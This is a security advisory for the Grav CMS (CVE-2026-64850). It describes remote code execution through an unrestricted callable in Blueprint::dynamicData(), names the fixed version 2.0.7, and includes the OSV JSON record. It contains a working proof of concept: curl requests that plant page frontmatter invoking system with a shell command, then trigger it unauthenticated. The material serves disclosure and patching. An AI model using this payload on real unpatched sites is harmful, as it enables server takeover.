GHSA-FJ2P-QJ2F-74V5
Vulnerability from github – Published: 2026-09-02 14:51 – Updated: 2026-09-02 14:51Summary
An account with the admin.pages permission (or api.pages.write) can run shell
commands on the server. The command executes whenever anyone — including an
unauthenticated visitor — opens the page.
Details
Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes
a Class::method string and its arguments straight to call_user_func_array()
with no allowlist. The form plugin runs page frontmatter through this path
(form/classes/Form.php:432), so a page author controls the input.
Grav\Common\Utils::arrayFilterRecursive($source,$fn)
(system/src/Grav/Common/Utils.php:1169) is a public static that calls
$fn($key,$value), so passing system as $fn and a command as the array key
runs the command.
PoC
Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie
for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin
page (window.GravAdmin.config.admin_nonce).
Save a "form" page whose field carries the callable directive:
curl '<BASE_URL>/admin/pages/rcepoc' \
-H 'Cookie: <SESSION_COOKIE>' \
--data-urlencode 'task=save' \
--data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
--data-urlencode 'data[folder]=rcepoc' \
--data-urlencode 'data[name]=form' \
--data-urlencode 'data[title]=x' \
--data-urlencode 'data[content]=hi' \
--data-urlencode "data[frontmatter]=forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\Common\Utils::arrayFilterRecursive'
- { 'echo GRAV-RCE-OK; id': 'x' }
- system"
Trigger it as an unauthenticated visitor:
curl '<BASE_URL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the
web-server user's id output (a line starting uid=...) — the command ran
during the unauthenticated request and its output is reflected in the response.
Impact
Shell command execution as the web-server user, triggered by any visit to the
page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page
editing, not code execution; the holder plants the payload and the code runs at
request time on any later view of the page.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-64850"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:51:18Z",
"nvd_published_at": "2026-08-19T16:18:39Z",
"severity": "HIGH"
},
"details": "### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone \u2014 including an\nunauthenticated visitor \u2014 opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `\u003cBASE_URL\u003e` the site; `\u003cSESSION_COOKIE\u003e` an admin session cookie\nfor an account with `admin.pages`; `\u003cADMIN_NONCE\u003e` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n curl \u0027\u003cBASE_URL\u003e/admin/pages/rcepoc\u0027 \\\n -H \u0027Cookie: \u003cSESSION_COOKIE\u003e\u0027 \\\n --data-urlencode \u0027task=save\u0027 \\\n --data-urlencode \u0027admin-nonce=\u003cADMIN_NONCE\u003e\u0027 \\\n --data-urlencode \u0027data[folder]=rcepoc\u0027 \\\n --data-urlencode \u0027data[name]=form\u0027 \\\n --data-urlencode \u0027data[title]=x\u0027 \\\n --data-urlencode \u0027data[content]=hi\u0027 \\\n --data-urlencode \"data[frontmatter]=forms:\n x:\n fields:\n y:\n type: text\n data-opts@:\n - \u0027Grav\\Common\\Utils::arrayFilterRecursive\u0027\n - { \u0027echo GRAV-RCE-OK; id\u0027: \u0027x\u0027 }\n - system\"\n\nTrigger it as an unauthenticated visitor:\n\n curl \u0027\u003cBASE_URL\u003e/rcepoc\u0027\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user\u0027s `id` output (a line starting `uid=...`) \u2014 the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.",
"id": "GHSA-fj2p-qj2f-74v5",
"modified": "2026-09-02T14:51:18Z",
"published": "2026-09-02T14:51:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64850"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/releases/tag/2.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.